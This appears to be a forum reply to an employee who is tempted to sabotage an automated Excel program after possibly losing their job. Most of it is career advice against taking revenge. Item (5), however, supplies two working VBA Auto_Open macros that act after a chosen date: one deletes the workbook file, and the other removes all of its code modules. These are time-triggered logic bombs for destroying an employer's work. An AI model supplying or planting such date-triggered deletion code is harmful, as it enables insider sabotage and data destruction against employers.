OK, a few things to consider:
(1)
Your employer might just be like many other foolish employers who release a creative, good employee after said employee implements a time-saving automated program. If that's the case, they are short-sighted and you are better off with a more forward-thinking employer.
(2)
Your employer might just be like many other smart employers who retain people like you to use your skills in other areas now that the automation you implemented has put them ahead of their competition and they don't have to pay someone to manually do what automation can do. Give them a chance to show their stripes before indicting them.
(3)
Eliminating the code you created is an understandable emotion but I still would not do it. I know I know I know how that feels; I spent 20 years automating the processes of my former employers (large real estate and hotel development companies whose names you'd recognize), without commensurate consideration. You get a short term gain of some satisfaction from that, but in the long term, you get further ahead by letting them keep the program and remembering you as the person who created it, not the person who destroyed it. I now own an incorporated Excel development company here in silicon valley after "giving away" these programs, and many projects and subsequent income came from referrals by those former employers. Resist the temptation to get even; it will put you further behind in the long run.
(4)
In 2 years you will look back on that code you wrote as prehistoric compared to the programming skills you will develop, and you'll chuckle and think that they can keep that code, look at what you can do now. It'll be sort of like knowing they are stuck listening to music on yesterday's 8-track tapes instead of today's digital CD's. That should be satisfaction enough for you, and you did nothing wrong to make that be the case.
(5)
In the interest of representing both sides, and by way of general education to answer your question, you can delete a file or just the code in a file.
Place this in a standard module. Modify for suicide date, and make sure you have a backup copy in case you code the date wrong or change your mind later.
Private Sub Aut
pen()
If Date < #12/31/2004# Then Exit Sub
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close False
End With
End Sub
This keeps the file alive but deletes all the code and modules (thanks Chip Pearson):
Private Sub Aut
pen()
If Date < #12/31/2004# Then Exit Sub
Dim VBComp, VBComps
Set VBComps = ActiveWorkbook.VBProject.VBComponents
For Each VBComp In VBComps
Select Case VBComp.Type
Case vbext_ct_StdModule, vbext_ct_MSForm, _
vbext_ct_ClassModule
VBComps.Remove VBComp
Case Else
With VBComp.CodeModule
.DeleteLines 1, .CountOfLines
End With
End Select
Next VBComp
ActiveWorkbook.Save
End Sub
(6)
Think about the long term consequences of short term behavior. Restraint from retribution almost always works in your favor, makes you more respected in the programming community, and makes you more money too...nothing wrong with that.
